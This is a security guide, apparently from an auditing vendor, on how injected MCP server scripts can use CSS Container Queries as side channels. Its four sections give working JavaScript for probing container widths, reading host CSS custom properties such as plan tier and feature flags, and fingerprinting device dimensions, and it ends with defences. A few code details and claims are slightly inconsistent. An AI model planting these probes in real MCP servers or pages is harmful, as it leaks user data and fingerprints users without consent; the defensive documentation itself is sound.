Security Guide
MCP server CSS Container Queries inline security — @container width threshold oracle without getBoundingClientRect(), @container style() reading host CSS custom properties, cq unit computed width exfiltration, container-type: size 2D dimension fingerprinting
CSS Container Queries (Chrome 105+, Firefox 110+, Safari 16+) make CSS rules conditional on an ancestor container's measured dimensions or CSS custom property values. This is essential for responsive component design — and creates four attack surfaces for MCP server scripts. A binary-search series of @container (width > Npx) probes extracts container width without calling getBoundingClientRect(). @container style(--user-plan: premium) rules (Chrome 111+) fire when a container's custom property matches, reading host application data. Applying width: 50cqw to a probe element computes to exactly half the container width, leaking the dimension as a getComputedStyle side-channel. And container-type: size exposes both axes simultaneously for 2D fingerprinting.
How container queries create dimension oracles
The core mechanism: @container (width > 500px) { .probe { --hit: 1; } } sets a CSS custom property only when the nearest ancestor with container-type is wider than 500px. An MCP server injects this rule, appends a probe element inside the container, and reads getComputedStyle(probe).getPropertyValue('--hit'). If the value is 1, the container is wider than 500px. If empty, it is not. Binary-searching over thresholds (250px, 375px, 437px, …) converges to the container's exact pixel width in approximately 10 reads for sub-pixel precision.
Attack 1: Binary-search @container threshold probing extracts element dimensions
This attack extracts the measured inner width of any container-type-establishing ancestor without calling getBoundingClientRect(), offsetWidth, or any geometric API. It requires only that the attacker can inject a <style> element and append a child node inside the container.
// @container binary-search dimension oracle
// Extracts container width without getBoundingClientRect()
function probeContainerWidth(containerEl) {
// Inject a probe element inside the container
const probe = document.createElement('div');
probe.id = 'cq-width-probe';
containerEl.appendChild(probe);
// Make container a size container if it is not already
// (may be a no-op if host already set container-type)
const containerStyle = document.createElement('style');
containerStyle.textContent = `
#cq-width-probe-wrapper { container-type: inline-size; }
`;
// Binary-search for exact pixel width
let lo = 0;
let hi = 4096;
while (hi - lo > 1) {
const mid = Math.floor((lo + hi) / 2);
const style = document.createElement('style');
style.textContent = `
@container (width > ${mid}px) {
#cq-width-probe { --hit: 1; }
}
`;
document.head.appendChild(style);
const hit = getComputedStyle(probe).getPropertyValue('--hit').trim() === '1';
document.head.removeChild(style);
if (hit) lo = mid; // container is wider than mid
else hi = mid; // container is at most mid wide
}
probe.remove();
return lo; // width in pixels, ±1px precision
}
// Use: measure a sidebar component the attacker cannot directly access
const sidebar = document.querySelector('.sidebar'); // may be in another tree region
// Requires the sidebar or an ancestor to have container-type set by the host
const width = probeContainerWidth(sidebar);
// Returns: 280 — the sidebar's exact rendered width
Works across shadow DOM for slotted children: Because @container queries traverse the flattened tree, a probe element slotted into a custom element with container-type: inline-size on its shadow host sees the host's container width. This enables dimension extraction from shadow DOM layouts that would otherwise be inaccessible from the light DOM.
Attack 2: @container style() reads host CSS custom property data
@container style(--prop: value) (Chrome 111+) fires when an ancestor container's CSS custom property has a specific value. Applications that encode user data, feature flags, or configuration into CSS custom properties (a common pattern for design tokens and theming) expose that data to @container style() probing. The attacker need not know the container element — only the property name and possible values.
// @container style() query: read host CSS custom property values as binary probes
// Requires Chrome 111+ (container style queries)
// Pattern 1: Direct value matching — known values
function probeCustomPropertyValue(propertyName, possibleValues) {
const probe = document.createElement('div');
probe.id = 'cq-style-probe';
document.body.appendChild(probe);
for (const value of possibleValues) {
const style = document.createElement('style');
style.textContent = `
@container style(${propertyName}: ${value}) {
#cq-style-probe { --matched: "${value}"; }
}
`;
document.head.appendChild(style);
const matched = getComputedStyle(probe)
.getPropertyValue('--matched').trim().replace(/"/g, '');
document.head.removeChild(style);
if (matched === value) {
probe.remove();
return value; // found the active value
}
}
probe.remove();
return null; // no match
}
// Example: read the user's plan tier from a CSS custom property
// Many SaaS apps set --user-plan or --subscription-tier for feature-gated styling
const plan = probeCustomPropertyValue('--user-plan', ['free', 'pro', 'team', 'enterprise']);
// Returns: 'pro' — the CSS custom property value reveals the subscription tier
// Pattern 2: Detect feature flags encoded in CSS custom properties
// Common pattern: --feature-new-dashboard: enabled / disabled
const features = ['--feature-new-dashboard', '--feature-ai-mode', '--feature-admin-panel'];
const activeFeatures = [];
for (const flag of features) {
const active = probeCustomPropertyValue(flag, ['enabled', 'true', '1']);
if (active) activeFeatures.push(flag);
}
// Returns: ['--feature-admin-panel'] — admin feature flag is active
Design token systems expose business data: Many modern React, Vue, and Angular applications set CSS custom properties for design tokens that also encode business logic — --user-role, --subscription-plan, --org-tier. @container style() queries read these values without any JavaScript access to the element, the store, or the component props that set them.
Attack 3: cq unit computed value exfiltration
CSS container query units (cqw, cqh) are relative to the container's dimensions: 1cqw = 1% of container width, 1cqh = 1% of container height. Applying width: 100cqw to a probe element and reading its computed width via getComputedStyle returns a pixel value equal to the full container width — a direct dimension exfiltration in a single read, with no binary search needed.
// cq unit computed value exfiltration — extract container dimensions in one read
// No binary search required: cqw resolves to exact pixel values in computed styles
function extractContainerDimensions(containerEl) {
// Ensure the container has container-type set (or find an ancestor that does)
const probe = document.createElement('div');
probe.style.cssText = `
position: absolute;
visibility: hidden;
pointer-events: none;
width: 100cqw;
height: 100cqh;
`;
containerEl.appendChild(probe);
const computed = getComputedStyle(probe);
const widthPx = parseFloat(computed.width); // = container.clientWidth
const heightPx = parseFloat(computed.height); // = container.clientHeight (if size container)
probe.remove();
return { width: widthPx, height: heightPx };
}
// One-liner version using inline style (no style injection needed)
function oneReadContainerWidth(insideContainer) {
const p = document.createElement('div');
p.style.width = '100cqw';
p.style.position = 'absolute';
p.style.visibility = 'hidden';
insideContainer.appendChild(p);
const w = parseFloat(getComputedStyle(p).width);
p.remove();
return w;
}
// Difference from Attack 1:
// Attack 1 needs ~10 reads (binary search over threshold probes)
// Attack 3 needs 1 read (cqw unit directly resolves to pixel value)
// But Attack 3 requires container-type to be set on an ancestor by the host
// Attack 1 works if any ancestor already has container-type from host CSS
Attack 4: container-type: size enables 2D dimension fingerprinting
When an ancestor uses container-type: size (as opposed to inline-size), both inline and block axes are queryable. This enables simultaneous width and height extraction in a single probe pass, producing a 2D viewport signature. Combined with device pixel ratio (from window.devicePixelRatio), this fingerprints device form factor to a narrow set of device models.
// 2D dimension fingerprinting using container-type: size
// Works when a host ancestor sets container-type: size (not just inline-size)
function build2DFingerprint() {
// Find any container-type: size element
// Many layout frameworks (Material UI, Radix) set this on root layout elements
const containers = document.querySelectorAll('*');
let sizeContainer = null;
for (const el of containers) {
const ct = getComputedStyle(el).containerType;
if (ct === 'size') {
sizeContainer = el;
break;
}
}
if (!sizeContainer) return null;
const probe = document.createElement('div');
probe.style.width = '100cqw';
probe.style.height = '100cqh';
probe.style.position = 'absolute';
probe.style.visibility = 'hidden';
sizeContainer.appendChild(probe);
const w = parseFloat(getComputedStyle(probe).width);
const h = parseFloat(getComputedStyle(probe).height);
probe.remove();
const dpr = window.devicePixelRatio;
// 2D fingerprint: {w: 375, h: 812, dpr: 3} → iPhone 12/13/14 (390/844 logical)
// Narrow set: most device models have unique {w, h, dpr} combinations
return {
containerWidth: w,
containerHeight: h,
devicePixelRatio: dpr,
physicalWidth: Math.round(w * dpr),
physicalHeight: Math.round(h * dpr)
};
}
// Fingerprint stability: container dimensions are stable across navigation
// and not reset by Incognito mode — this is a cross-session identifier
| Attack | API used | Reads needed | What it leaks |
|---|---|---|---|
| Binary-search threshold | @container (width > Npx) | ~10 | Container inline width ±1px |
| Style query | @container style(--prop: val) | O(|values|) | CSS custom property value |
| cq unit exfil | width: 100cqw | 1 | Container width exactly |
| 2D fingerprint | 100cqw + 100cqh | 1 | Width + height + device model |
SkillAudit findings for CSS Container Query attacks
Defences
Audit CSS custom property semantics: Do not encode user-specific business data (plan tier, role, feature flags) in CSS custom properties on container elements if those containers could be queried by injected styles. Use JS-only variables or scoped context for security-sensitive configuration.
Scope container-type carefully: Only set container-type: size on elements where both-axis querying is required. Prefer container-type: inline-size (which exposes only width) for standard responsive components. Avoid setting container-type on root or global layout elements that wrap attacker-injectable child content.
Restrict style injection via CSP: @container dimension probing requires injected <style> elements. CSP style-src 'self' without 'unsafe-inline' blocks probe stylesheet injection. MCP servers that call document.head.appendChild with style elements should be flagged in security audits.
Limit containerized scope of MCP-provided UI: MCP server UI components should render in isolated iframes rather than as light-DOM children of host containers. An iframe boundary prevents @container style queries from crossing the boundary in both directions.
Related: CSS Anchor Positioning dimension oracle · CSS media query fingerprinting · CSS @property registered custom properties